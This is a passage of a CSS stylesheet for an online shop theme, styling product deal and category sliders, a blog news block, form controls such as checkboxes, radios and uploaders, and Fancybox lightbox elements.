	line-height:37px;

	position:relative

}

.module-title h3 strong:before, .module-title h3 span:before {

	border-right:20px solid transparent;

	content:"";

	display:inline-block;

	height:0;

	position:absolute;

	right:-20px;

	top:0;

	width:0

}

.btn-gn {

	display:inline-block !important;

	width:30px !important;

	height:30px !important;

	position:absolute !important;

	z-index:20 !important;

	background-color:#999999 !important;

	overflow:hidden !important;

	text-indent:-9999px !important;

	font-size:0;

	background-repeat:no-repeat !important;

	background-position:center center !important

}

div.sp-deal {

	margin-bottom:30px

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap {

	border:solid 1px #ddd

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .new-box {

	z-index:9;

	top:10px;

	right:10px;

	left:auto

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .sale-box {

	z-index:9;

	top:10px;

	left:10px;

	right:auto

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-img {

	border:none;

	overflow:hidden;

	position:relative;

	padding:10px

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-img .item-img-info {

	position:relative;

	overflow:hidden

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-img .item-img-info .img_0 {

	position:absolute;

	z-index:8;

	-webkit-transition:all 0.5s ease 0s;

	transition:all 0.5s ease 0s;

	top:0;

	left:0;

	opacity:0;

	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=00)"

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-img .item-img-info .img_1 {

	position:relative;

	z-index:5;

	-webkit-transition:all 0.5s ease 0s;

	transition:all 0.5s ease 0s

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-img:hover {

	box-shadow:none

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-time {

	position:inherit;

	float:left;

	width:100%;

	bottom:0;

	padding-top:10px;

	left:0;

	right:0

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-time .item-timer .time-item {

	padding:4px 0;

	background:#999;

	border:none;

	margin:2px

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-time .item-timer .time-item .num-time {

	font-size:14px;

	color:#fff;

	margin:0;

	border:none;

	height:18px;

	line-height:20px;

	font-weight:bold

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-time .item-timer .time-item .name-time {

	font-size:12px;

	color:#fff;

	margin:0;

	height:20px;

	line-height:20px

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-info {

	padding:0 10px 10px 10px;

	margin:0

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-info .item-title {

	text-transform:none;

	margin-bottom:10px

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-info .content_price {

	margin-bottom:5px

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .quick-view {

	background-image:url(../images/icon_quickview.png);

	display:inline-block;

	top:140px;

	right:-120px;

	-webkit-transition:all 0.9s ease 0s;

	transition:all 0.9s ease 0s

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .quick-view-mobile {

	background:url(../images/icon_quickview.png) no-repeat 18px center #999999;

	background-position:8px 9px;

	display:block;

	height:36px;

	width:36px;

	color:#fff

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .button-container {

	display:inline-block;

	margin:10px 0

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .button-container .cart_button {

	background-color:#999;

	transition:0.3s all ease 0s;

	background:url(../images/icon_cart.png) no-repeat 12px center;

	top:35px;

	right:-31px;

	transition:right 0.3s ease 0s, background-color 0.2s ease 0s

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .button-container > div {

	display:inline-block;

	padding:0;

	margin:0;

	cursor:pointer;

	vertical-align:middle

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .button-container > div.wishlist {

	top:70px;

	right:-60px;

	-webkit-transition:all 0.5s ease 0s;

	transition:all 0.5s ease 0s

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .button-container > div.compare {

	top:105px;

	right:-90px;

	-webkit-transition:all 0.7s ease 0s;

	transition:all 0.7s ease 0s

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .button-container > div a {

	display:block;

	height:36px;

	width:36px;

	background-color:#999;

	background-position:8px 10px;

	background-repeat:no-repeat;

	transition:0.3s all ease 0s;

	border-radius:3px

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .button-container > div a.addToWishlist {

	background-image:url(../images/icon_wishlist.png)

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap .button-container > div a.add_to_compare {

	background-image:url(../images/icon_compare.png)

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap:hover {

	border:1px solid #aaa

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap:hover .btn-gn {

	right:7px !important

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap:hover .button-container .btn-gn {

	right:7px !important

}

div.sp-deal .page-button.bottom .control-button {

	text-indent:0;

	text-align:center;

	direction:ltr

}

div.sp-deal .page-button.bottom .control-button a {

	background:none repeat scroll 0 0 #fff;

	width:36px;

	height:36px;

	border:1px solid #ddd;

	opacity:1;

	text-align:center;

	transition:all 0.3s ease 0s;

	display:inline-block;

	position:relative;

	left:auto;

	right:auto;

	top:auto;

	bottom:0;

	margin:0 2px;

	transform:scale(0)

}

div.sp-deal .page-button.bottom .control-button a .fa {

	color:#ddd;

	margin:0;

	font-size:22px;

	line-height:33px

}

div.sp-deal .page-button.bottom .control-button a.preview {

	float:left;

	left:-20px;

	z-index:10

}

div.sp-deal .page-button.bottom .control-button a.next {

	float:right;

	right:-20px;

	z-index:10

}

div.sp-deal .page-button.bottom .control-button a:hover .fa {

	color:#fff

}

div.sp-deal:hover .page-button.bottom .control-button a {

	transform:scale(1)

}

.sp-category-slider {

	z-index:1

}

.sp-category-slider .page-desc-categoryslider a {

	display:block;

	clear:both;

	position:relative

}

.sp-category-slider .page-desc-categoryslider a:before {

	background-color:rgba(255, 255, 255, 0.15);

	content:"";

	height:0;

	left:0;

	margin:auto;

	position:absolute;

	top:0;

	transition:all 0.3s ease-out 0s;

	-webkit-transition:all 0.3s ease-in-out 0s;

	-ms-transition:all 0.3s ease-in-out 0s;

	width:0

}

.sp-category-slider .page-desc-categoryslider a:after {

	background-color:rgba(255, 255, 255, 0.15);

	bottom:0;

	content:"";

	height:0;

	position:absolute;

	right:0;

	transition:all 0.3s ease-out 0s;

	-webkit-transition:all 0.3s ease-in-out 0s;

	-ms-transition:all 0.3s ease-in-out 0s;

	width:0

}

.sp-category-slider .page-desc-categoryslider a:hover:before {

	height:100%;

	width:100%;

	transition:all 0.4s ease-out 0s;

	-webkit-transition:all 0.4s ease-in-out 0s;

	-ms-transition:all 0.4s ease-in-out 0s

}

.sp-category-slider .page-desc-categoryslider a:hover:after {

	height:100%;

	width:100%;

	transition:all 0.4s ease-out 0s;

	-webkit-transition:all 0.4s ease-in-out 0s;

	-ms-transition:all 0.4s ease-in-out 0s

}

.sp-category-slider .page-desc-categoryslider > p + p {

	display:none

}

.sp-category-slider .slider .item-wrap {

	position:relative

}

.sp-category-slider .slider .item-wrap .quick-view {

	display:inline-block;

	background-image:url(../images/icon_quickview.png);

	top:140px;

	right:-120px;

	-webkit-transition:all 0.9s ease 0s;

	transition:all 0.9s ease 0s

}

.sp-category-slider .slider .item-wrap .button-container {

	display:inline-block;

	margin:10px 0

}

.sp-category-slider .slider .item-wrap .button-container .ajax_add_to_cart_button {

	background-color:#999;

	transition:0.3s all ease 0s;

	background:url(../images/icon_cart.png) no-repeat 12px center;

	top:35px;

	right:-31px;

	transition:right 0.3s ease 0s, background-color 0.2s ease 0s

}

.sp-category-slider .slider .item-wrap .button-container .lnk_view {

	display:none !important

}

.sp-category-slider .slider .item-wrap .button-container > div {

	display:inline-block;

	padding:0;

	margin:0;

	cursor:pointer;

	vertical-align:middle

}

.sp-category-slider .slider .item-wrap .button-container > div.wishlist {

	top:70px;

	right:-60px;

	-webkit-transition:all 0.5s ease 0s;

	transition:all 0.5s ease 0s

}

.sp-category-slider .slider .item-wrap .button-container > div.compare {

	top:105px;

	right:-90px;

	-webkit-transition:all 0.7s ease 0s;

	transition:all 0.7s ease 0s

}

.sp-category-slider .slider .item-wrap .button-container > div a {

	display:block;

	height:36px;

	width:36px;

	background-color:#999;

	background-position:8px 10px;

	background-repeat:no-repeat;

	transition:0.3s all ease 0s;

	border-radius:3px

}

.sp-category-slider .slider .item-wrap .button-container > div a.addToWishlist {

	background-image:url(../images/icon_wishlist.png)

}

.sp-category-slider .slider .item-wrap .button-container > div a.add_to_compare {

	background-image:url(../images/icon_compare.png)

}

.sp-category-slider .slider .item-wrap:hover .btn-gn {

	right:7px !important

}

.sp-category-slider .page-button .control-button {

	text-indent:0;

	text-align:center;

	direction:ltr;

	overflow:visible

}

.sp-category-slider .page-button .control-button li {

	background:none repeat scroll 0 0 #fff;

	width:36px;

	height:36px;

	border:1px solid #ddd;

	opacity:1;

	text-align:center;

	transition:all 0.3s ease 0s;

	display:inline-block;

	position:relative;

	left:auto;

	right:auto;

	top:auto;

	bottom:-200px;

	margin:0 2px;

	transform:scale(0)

}

.sp-category-slider .page-button .control-button li .fa {

	color:#ddd;

	margin:0;

	font-size:22px;

	line-height:33px

}

.sp-category-slider .page-button .control-button li.preview {

	float:left;

	left:-20px;

	z-index:10

}

.sp-category-slider .page-button .control-button li.next {

	float:right;

	right:-20px;

	z-index:10

}

.sp-category-slider .page-button .control-button li:hover .fa {

	color:#fff

}

.sp-category-slider:hover .page-button .control-button li {

	transform:scale(1)

}

#smartblogcat .sdsarticleCat .box-content {

	display:block;

        float: left;

	overflow:hidden;

        width:75%;

margin-left: 15px;

}

#smartblogcat .sdsarticleCat .box-content h2.sdstitle_block {

	margin-top:0px

}

div.lastestnews {

	padding:0

}

div.lastestnews .bx-wrapper .bx-viewport {

	height:auto !important

}

div.lastestnews .sds_blog_post {

	padding:17px 20px 0

}

div.lastestnews .sds_blog_post .news_module_image_holder {

	display:block;

	border:solid 1px #e3e1e1;

	border-radius:2px

}

div.lastestnews .sds_blog_post .news_module_image_holder a {

	display:block;

	clear:both;

	position:relative

}

div.lastestnews .sds_blog_post .news_module_image_holder a:before {

	background-color:rgba(255, 255, 255, 0.15);

	content:"";

	height:0;

	left:0;

	margin:auto;

	position:absolute;

	top:0;

	transition:all 0.3s ease-out 0s;

	-webkit-transition:all 0.3s ease-in-out 0s;

	-ms-transition:all 0.3s ease-in-out 0s;

	width:0

}

div.lastestnews .sds_blog_post .news_module_image_holder a:after {

	background-color:rgba(255, 255, 255, 0.15);

	bottom:0;

	content:"";

	height:0;

	position:absolute;

	right:0;

	transition:all 0.3s ease-out 0s;

	-webkit-transition:all 0.3s ease-in-out 0s;

	-ms-transition:all 0.3s ease-in-out 0s;

	width:0

}

div.lastestnews .sds_blog_post .news_module_image_holder a:hover:before {

	height:100%;

	width:100%;

	transition:all 0.4s ease-out 0s;

	-webkit-transition:all 0.4s ease-in-out 0s;

	-ms-transition:all 0.4s ease-in-out 0s

}

div.lastestnews .sds_blog_post .news_module_image_holder a:hover:after {

	height:100%;

	width:100%;

	transition:all 0.4s ease-out 0s;

	-webkit-transition:all 0.4s ease-in-out 0s;

	-ms-transition:all 0.4s ease-in-out 0s

}

div.lastestnews .sds_blog_post .sds_post_title {

	margin:10px 0;

	line-height:1.35em;

	font-weight:normal;

	font-size:15px

}

div.lastestnews .sds_blog_post .sds_post_title a {

	color:#444

}

div.lastestnews .bx-controls.bx-has-pager {

	text-align:center;

	padding:10px

}

div.lastestnews .bx-controls.bx-has-pager .bx-pager-item {

	display:inline-block;

	margin:0 2px;

	line-height:1em

}

div.lastestnews .bx-controls.bx-has-pager .bx-pager-item a.bx-pager-link {

	display:inline-block;

	height:12px;

	width:12px;

	background:#909090;

	border-radius:50%;

	color:transparent;

	transition:0.3s all ease 0s

}

.lastestnews .bx-wrapper .bx-controls-direction a {

	background:transparent !important

}

.block-services .list-services li a {

	border:3px solid #ddd;

	display:block;

	transition:0.3s;

	-moz-transition:0.3s;

	-webkit-transition:0.3s

}

.block-services .list-services li a img {

	height:110px

}

.block-services .list-services li:first-child {

	padding-left:0

}

.block-services .list-services li:last-child {

	padding-right:0

}

#footer_top {

	min-height:70px;

	background-color:#444444;

	color:#fff

}

.box-footer ul.social-block li {

	margin:0 10px

}

div.demo-menu {

	position:relative;

	text-align:left;

	transition:0.3s all ease 0s;

	display:inline-block

}

div.demo-menu > a {

	position:relative;

	line-height:35px;

	padding:0 23px;

	display:block;

	border-left:1px solid #ddd

}

div.demo-menu > a:after {

	content:"\f107";

	display:inline-block;

	font-family:Fontawesome;

	position:absolute;

	right:10px;

	top:0

}

div.demo-menu h2 {

	text-transform:uppercase;

	margin:10px 0;

	font-size:18px

}

div.demo-menu .content-home {

	position:absolute;

	left:0;

	box-shadow:0 0 3px rgba(0, 0, 0, 0.2);

	width:430px;

	background:#fff;

	padding:5px 20px;

	z-index:10;

	opacity:0;

	transition:0.3s all ease 0s;

	-ms-transition:0.3s all ease 0s;

	-webkit-transition:0.3s all ease 0s;

	transform:scale(0);

	-ms-transform:scale(0);

	-webkit-transform:scale(0)

}

div.demo-menu .content-home .layout-theme {

	width:55%;

	float:left;

	margin-right:20px

}

div.demo-menu .content-home .layout-color {

	width:35%;

	float:left

}

div.demo-menu .content-home .layout-color ul li {

	padding:0

}

div.demo-menu .content-home .layout-color ul li a {

	padding:10px 0 10px 30px;

	position:relative;

	display:inline-block

}

div.demo-menu .content-home .layout-color ul li a:before {

	content:"";

	width:20px;

	height:20px;

	display:inline-block;

	position:absolute;

	left:0;

	top:10px

}

div.demo-menu .content-home .layout-color ul li.blue a:before {

	background:#5f87d1

}

div.demo-menu .content-home .layout-color ul li.green a:before {

	background:#20bc5a

}

div.demo-menu .content-home .layout-color ul li.orange a:before {

	background:#f8ab16

}

div.demo-menu .content-home .layout-color ul li.red a:before {

	background:#ea3a3c

}

div.demo-menu .content-home .layout-color ul li.cyan a:before {

	background:#009688

}

div.demo-menu .content-home li {

	border-bottom:solid 1px #eee

}

div.demo-menu .content-home li:last-child {

	border:none

}

div.demo-menu .content-home li a {

	padding:10px 0;

	display:inline-block;

	font-size:13px;

	color:#666

}

div.demo-menu:hover .content-home {

	opacity:1;

	z-index:10;

	transform:scale(1);

	-ms-transform:scale(1);

	-webkit-transform:scale(1)

}

.comments_note {

	margin-bottom:5px

}

.old-price {

	margin-right:15px

}

.price-percent-reduction {

	color:#fff

}

.content_only #up-sell {

	display:none

}

@media (min-width:1200px) {

.sp-category-slider .slider .vpo-wrap .vp .item, .sp-category-slider .slider .vpo-wrap .vp {

height:321px !important

}

}

.header_search {

	position:static;

	 margin-top: 23px

}

.ie9 {

}

div.selector, div.selector span, div.checker span, div.radio span, div.uploader, div.uploader span.action, div.button, div.button span {

	background-image:url("../images/sprite.png");

	background-repeat:no-repeat;

	-webkit-font-smoothing:antialiased

}

div.selector, div.checker, div.button, div.radio, div.uploader {

	vertical-align:middle

}

div.selector:focus, div.checker:focus, div.button:focus, div.radio:focus, div.uploader:focus {

	outline:0

}

div.selector, div.selector *, div.radio, div.radio *, div.checker, div.checker *, div.uploader, div.uploader *, div.button, div.button * {

	margin:0;

	padding:0

}

.highContrastDetect {

	background:url("../images/bg-input.png") repeat-x 0 0;

	width:0;

	height:0

}

input.uniform-input, select.uniform-multiselect, textarea.uniform {

	padding:3px;

	background:white;

	outline:0

}

div.checker input, input[type="search"], input[type="search"]:active {

	-moz-appearance:none;

	-webkit-appearance:none

}

div.selector {

	background-position:0 -54px;

	line-height:27px;

	height:27px;

	padding:0 0 0 10px;

	position:relative;

	overflow:hidden

}

div.selector span {

	text-overflow:ellipsis;

	display:block;

	overflow:hidden;

	white-space:nowrap;

	background-position:right 0;

	height:27px;

	line-height:27px;

	padding-right:30px;

	cursor:pointer;

	width:100%;

	display:block

}

div.selector.fixedWidth {

	width:190px

}

div.selector.fixedWidth span {

	width:150px

}

div.selector select {

	opacity:0;

	filter:alpha(opacity=0);

	-moz-opacity:0;

	border:none;

	background:none;

	position:absolute;

	height:27px;

	top:0;

	left:0;

	width:100%

}

div.selector.active span {

	background-position:right -27px

}

div.selector.hover span, div.selector.focus span {

	background-position:right -27px

}

div.selector.hover.active span, div.selector.focus.active span {

	background-position:right -27px

}

div.selector.disabled span, div.selector.disabled.active span {

	background-position:right 0

}

div.selector1 > div {

	background-position:0 -135px

}

div.selector1 > div span {

	background-position:right -81px

}

div.selector1 > div.active span {

	background-position:right -108px

}

div.selector1 > div.hover span, div.selector1 > div.focus span {

	background-position:right -108px

}

div.selector1 > div.hover.active span, div.selector1 > div.focus.active span {

	background-position:right -108px

}

div.selector1 > div.disabled, div.selector1 > div.disabled.active {

	background-position:0 -135px

}

div.selector1 > div.disabled span, div.selector1 > div.disabled.active span {

	background-position:right -81px

}

div.selector2 > div {

	background-position:0 -216px

}

div.selector2 > div span {

	background-position:right -162px

}

div.selector2 > div.active span {

	background-position:right -189px

}

div.selector2 > div.hover span, div.selector2 > div.focus span {

	background-position:right -189px

}

div.selector2 > div.hover.active span, div.selector2 > div.focus.active span {

	background-position:right -189px

}

div.selector2 > div.disabled, div.selector2 > div.disabled.active {

	background-position:0 -216px

}

div.selector2 > div.disabled span, div.selector2 > div.disabled.active span {

	background-position:right -162px

}

div.selector3 > div {

	background-position:0 -351px

}

div.selector3 > div span {

	background-position:right -297px

}

div.selector3 > div.active span {

	background-position:right -324px

}

div.selector3 > div.hover span, div.selector3 > div.focus span {

	background-position:right -324px

}

div.selector3 > div.hover.active span, div.selector3 > div.focus.active span {

	background-position:right -324px

}

div.selector3 > div.disabled, div.selector3 > div.disabled.active {

	background-position:0 -351px

}

div.selector3 > div.disabled span, div.selector3 > div.disabled.active span {

	background-position:right -297px

}

div.checker {

	position:relative

}

div.checker, div.checker span, div.checker input {

	width:15px;

	height:15px

}

div.checker span {

	display:-moz-inline-box;

	display:inline-block;

*display:inline;

	zoom:1;

	text-align:center;

	background-position:0 -257px

}

div.checker span.checked {

	background-position:-15px -257px

}

div.checker input {

	opacity:0;

	filter:alpha(opacity=0);

	-moz-opacity:0;

	border:none;

	background:none;

	display:-moz-inline-box;

	display:inline-block;

*display:inline;

	zoom:1

}

div.checker.active span {

	background-position:-15px -257px

}

div.checker.active span.checked {

	background-position:-15px -257px

}

div.checker.hover span, div.checker.focus span {

	background-position:-30px -257px

}

div.checker.hover span.checked, div.checker.focus span.checked {

	background-position:-15px -257px

}

div.checker.hover.active span, div.checker.focus.active span {

	background-position:-15px -257px

}

div.checker.hover.active span.checked, div.checker.focus.active span.checked {

	background-position:-15px -257px

}

div.checker.disabled, div.checker.disabled.active {

	background-position:0 -257px

}

div.checker.disabled span.checked, div.checker.disabled.active span.checked {

	background-position:0 -257px

}

div.radio {

	position:relative;

	display:inline

}

div.radio, div.radio span, div.radio input {

	width:13px;

	height:13px

}

div.radio span {

	display:-moz-inline-box;

	display:inline-block;

*display:inline;

	zoom:1;

	text-align:center;

	background-position:0 -243px

}

div.radio span.checked {

	background-position:-13px -243px

}

div.radio input {

	opacity:0;

	filter:alpha(opacity=0);

	-moz-opacity:0;

	border:none;

	background:none;

	display:-moz-inline-box;

	display:inline-block;

*display:inline;

	zoom:1;

	text-align:center

}

div.radio.active span {

	background-position:-13px -243px

}

div.radio.active span.checked {

	background-position:-13px -243px

}

div.radio.hover span, div.radio.focus span {

	background-position:-49px -243px

}

div.radio.hover span.checked, div.radio.focus span.checked {

	background-position:-13px -243px

}

div.radio.hover.active span, div.radio.focus.active span {

	background-position:-13px -243px

}

div.radio.hover.active span.checked, div.radio.focus.active span.checked {

	background-position:-13px -243px

}

div.radio.disabled span, div.radio.disabled.active span {

	background-position:0 -243px

}

div.radio.disabled span.checked, div.radio.disabled.active span.checked {

	background-position:0 -243px

}

div.uploader {

	background:none;

	height:27px;

	width:100%;

	cursor:pointer;

	position:relative;

	overflow:hidden

}

div.uploader span.action {

	background-position:0 -378px;

	height:27px;

	line-height:27px;

	width:94px;

	text-align:center;

	float:left;

	display:inline;

	overflow:hidden;

	cursor:pointer

}

div.uploader span.filename {

	text-overflow:ellipsis;

	display:block;

	overflow:hidden;

	white-space:nowrap;

	float:left;

	cursor:default;

	height:27px;

	margin:0 0 0 0;

	line-height:27px;

	width:172px;

	padding:0 10px

}

div.uploader input {

	opacity:0;

	filter:alpha(opacity=0);

	-moz-opacity:0;

	border:none;

	background:none;

	position:absolute;

	top:0;

	right:0;

	float:right;

	cursor:default;

	width:100%;

	height:100%

}

div.button {

	background-position:0 -634px;

	height:30px;

	cursor:pointer;

	position:relative

}

div.button a, div.button button, div.button input {

	opacity:0.01;

	filter:alpha(opacity=1);

	-moz-opacity:0.01;

	display:block;

	top:0;

	left:0;

	right:0;

	bottom:0;

	position:absolute

}

div.button span {

	display:-moz-inline-box;

	display:inline-block;

*display:inline;

	zoom:1;

	line-height:30px;

	text-align:center;

	background-position:right -514px;

	height:30px;

	margin-left:13px;

	padding:0

}

div.button.active {

	background-position:0 -664px

}

div.button.active span {

	background-position:right -544px;

	cursor:default

}

div.button.hover, div.button.focus {

	background-position:0 -694px

}

div.button.hover span, div.button.focus span {

	background-position:right -574px

}

div.button.disabled, div.button.disabled.active {

	background-position:0 -724px

}

div.button.disabled span, div.button.disabled.active span {

	background-position:right -604px;

	cursor:default

}

input.uniform-input, select.uniform-multiselect, textarea.uniform {

	font-size:13px;

	font-family:"Helvetica Neue", Arial, Helvetica, sans-serif;

	font-weight:normal;

	line-height:18px;

	color:#777;

	border:solid 1px #d6d4d4

}

input.uniform-input.hover, input.uniform-input.focus, select.uniform-multiselect.hover, select.uniform-multiselect.focus, textarea.uniform.hover, textarea.uniform.focus {

	-webkit-box-shadow:0 0 4px rgba(0, 0, 0, 0.2);

	-moz-box-shadow:0 0 4px rgba(0, 0, 0, 0.2);

	box-shadow:0 0 4px rgba(0, 0, 0, 0.2);

	border-color:#cbcaca

}

div.button span {

	font-weight:bold;

	font-family:"Helvetica Neue", Arial, Helvetica, sans-serif;

	font-size:12px;

	letter-spacing:1px;

	text-transform:uppercase

}

div.button.hover span, div.button.focus span {

	color:#555

}

div.button.disabled span, div.button.disabled.active span {

	color:#bbb

}

#compare_shipping .form-group label {

	display:block

}

div.selector {

	font-size:12px

}

div.selector span {

	color:#666;

	text-shadow:0 1px 0 #fff

}

div.selector select {

	font-family:"Helvetica Neue", Arial, Helvetica, sans-serif;

	font-size:12px

}

div.selector.disabled span, div.selector.disabled.active span {

	color:#bbb

}

div.checker {

	margin-top:5px

}

.checker span input {

	margin:0 !important

}

.radio input[type="radio"], .radio-inline input[type="radio"], .checkbox input[type="checkbox"], .checkbox-inline input[type="checkbox"] {

	margin:0 !important

}

.radio-inline, .checkbox-inline {

	cursor:default

}

div.checker {

	cursor:pointer;

	margin-right:5px

}

div.checker span {

	position:relative;

	top:-2px

}

#layered_form div.checker {

	display:inline

}

div.radio {

	margin-right:3px

}

div.radio span {

	position:relative;

	top:-2px

}

div.uploader span.action {

	text-shadow:rgba(0, 0, 0, 0.1) 0 1px 0;

	font-size:13px;

	font-weight:bold;

	color:#fff

}

div.uploader span.filename {

	color:#777;

	border:solid 1px #d6d4d4;

	font-size:13px;

	background:#fbfbfb;

	margin-right:2px

}

div.uploader.disabled span.action, div.uploader.disabled.active span.action {

	color:#aaa

}

div.uploader.disabled span.filename, div.uploader.disabled.active span.filename {

	border-color:#ddd;

	color:#aaa

}

input.uniform-input, input.uniform-input:focus {

	background-color:#fff

}

.fancybox-wrap, .fancybox-skin, .fancybox-outer, .fancybox-inner, .fancybox-image, .fancybox-wrap iframe, .fancybox-wrap object, .fancybox-nav, .fancybox-nav span, .fancybox-tmp {

	padding:0;

	margin:0;

	border:0;

	outline:none;

	vertical-align:top

}

.fancybox-wrap {

	position:absolute;

	top:0;

	left:0;

	z-index:8020

}

.fancybox-skin {

	position:relative;

	background:#f9f9f9;

	color:#444;

	text-shadow:none;

	-webkit-border-radius:4px;

	-moz-border-radius:4px;

	border-radius:4px

}

.fancybox-opened {

	z-index:8030

}

.fancybox-opened .fancybox-skin {

	-webkit-box-shadow:0 10px 25px rgba(0, 0, 0, 0.5);

	-moz-box-shadow:0 10px 25px rgba(0, 0, 0, 0.5);

	box-shadow:0 10px 25px rgba(0, 0, 0, 0.5)

}

.fancybox-outer, .fancybox-inner {

	position:relative

}

.fancybox-inner {

	overflow:hidden

}

.fancybox-type-iframe .fancybox-inner {

	-webkit-overflow-scrolling:touch

}

.fancybox-error {

	color:#444;

	font:14px/20px "Helvetica Neue", Helvetica, Arial, sans-serif;

	margin:0;

	padding:15px;

	white-space:nowrap

}

.fancybox-image, .fancybox-iframe {

	display:block;

	width:100%;

	height:100%

}

.fancybox-image {

	max-width:100%;

	max-height:100%

}

#fancybox-loading, .fancybox-close, .fancybox-prev span, .fancybox-next span {

	background-image:url('../images/fancybox_sprite.png')

}

#fancybox-loading {

	position:fixed;

	top:50%;

	left:50%;

	margin-top:-22px;

	margin-left:-22px;

	background-position:0 -108px;

	opacity:0.8;

	cursor:pointer;

	z-index:8060

}

#fancybox-loading div {

	width:44px;

	height:44px;

	background:url('../images/fancybox_loading.gif') center center no-repeat

}

.fancybox-close {

	position:absolute;

	top:-18px;

	right:-18px;

	width:36px;

	height:36px;

	cursor:pointer;

	z-index:8040

}

.fancybox-nav {

	position:absolute;

	top:0;

	width:40%;

	height:100%;

	cursor:pointer;

	text-decoration:none;

	background:transparent url('../images/blank.gif');

	-webkit-tap-highlight-color:rgba(0, 0, 0, 0);

	z-index:8040

}

.fancybox-prev {

	left:0

}

.fancybox-next {

	right:0

}

.fancybox-nav span {

	position:absolute;

	top:50%;

	width:36px;

	height:34px;

	margin-top:-18px;

	cursor:pointer;

	z-index:8040;

	visibility:hidden

}

.fancybox-prev span {

	left:10px;

	background-position:0 -36px

}

.fancybox-next span {

	right:10px;

	background-position:0 -72px

}

.fancybox-nav:hover span {

	visibility:visible

}

.fancybox-tmp {

	position:absolute;

	top:-99999px;

	left:-99999px;

	visibility:hidden;

	max-width:99999px;

	max-height:99999px;

	overflow:visible !important

}

.fancybox-lock {

	overflow:hidden !important;

	width:auto

}

.fancybox-lock body {

	overflow:hidden !important

}

.fancybox-lock-test {

	overflow-y:hidden !important

}

.fancybox-overlay {

	position:absolute;

	top:0;

	left:0;

	overflow:hidden;

	display:none;

	z-index:8010;

	background:url('../images/fancybox_overlay.png')

}

.fancybox-overlay-fixed {

	position:fixed;

	bottom:0;

	right:0

}

.fancybox-lock .fancybox-overlay {

	overflow:auto;

	overflow-y:scroll

}

.fancybox-title {

	visibility:hidden;

	font:normal 13px/20px "Helvetica Neue", Helvetica, Arial, sans-serif;

	position:relative;

	text-shadow:none;

	z-index:8050

}

.fancybox-opened .fancybox-title {

	visibility:visible

}

.fancybox-title-float-wrap {

	position:absolute;

	bottom:0;

	right:50%;

	margin-bottom:-35px;

	z-index:8050;

	text-align:center

}

.fancybox-title-float-wrap .child {

	display:inline-block;

	margin-right:-100%;

	padding:2px 20px;

	background:transparent;

	background:rgba(0, 0, 0, 0.8);

	-webkit-border-radius:15px;

	-moz-border-radius:15px;

	border-radius:15px;

	text-shadow:0 1px 2px #222;

	color:#FFF;

	font-weight:bold;

	line-height:24px;

	white-space:nowrap

}

.fancybox-title-outside-wrap {

	position:relative;

	margin-top:10px;

	color:#fff

}

.fancybox-title-inside-wrap {

	padding-top:10px

}

.fancybox-title-over-wrap {

	position:absolute;

	bottom:0;

	left:0;

	color:#fff;

	padding:10px;

	background:#000;

	background:rgba(0, 0, 0, .8)

}

@media only screen and (-webkit-min-device-pixel-ratio:1.5), only screen and (min--moz-device-pixel-ratio:1.5), only screen and (min-device-pixel-ratio:1.5) {

#fancybox-loading, .fancybox-close, .fancybox-prev span, .fancybox-next span {

background-image:url('../images/fancybox_sprite@2x.png');

background-size:44px 152px

}

#fancybox-loading div {

background-image:url('../images/fancybox_loading@2x.gif');

background-size:24px 24px

}

}

.home-content {

	margin-bottom:25px

}

.home-content ul.htmlcontent-home {

	position:relative

}

.home-content ul.htmlcontent-home .item {

	overflow:hidden;

	width:50%

}

.home-content .item-link {

	display:block;

	position:relative;

	overflow:hidden

}

.home-content .item-link .item-img {

	width:100%

}

.home-content .item-link:before {

	content:"";

	position:absolute;

	left:0;

	top:0;

	width:100%;

	height:100%;

	background:#000;

	opacity:0;

	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=00)";

	transition:0.3s all ease 0s;

	-webkit-transition:0.3s all ease 0s;

	transform:scale(0);

	-webkit-transform:scale(0)

}

.home-content .item-link:hover:before {

	opacity:0.5;

	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=50)";

	transform:scale(1);

	-webkit-transform:scale(1)

}

.social_block {

	height:70px;

	margin-top:-12px;

	margin-right:-15px;

	background:#3a3a3a

}

.social_block .pre-text {

	margin:0 0 10px

}

.social_block h3.mod-title {

	padding:0 !important;

	display:none

}

ul.social-block {

	display:inline-block;

	margin:0 -3px

}

ul.social-block li {

	display:inline-block;

	margin:0 3px

}

ul.social-block li a {

	display:inline-block;

	height:70px;

	line-height:70px;

	width:30px;

	text-align:center;

	margin:0;

	transition:0.3s all ease 0s;

	border-radius:50%

}

ul.social-block li a .fa {

	margin:0;

	color:#fff;

	line-height:30px;

	font-size:16px

}

label.follow {

	font-size:16px;

	text-transform:uppercase;

	font-weight:bold;

	color:#444;

	display:inline-block;

	margin:0 20px 0 0

}

#categories_block_top {

	clear:both;

	position:relative;

	top:30px

}

#categories_block_top .sf-menu {

	position:relative

}

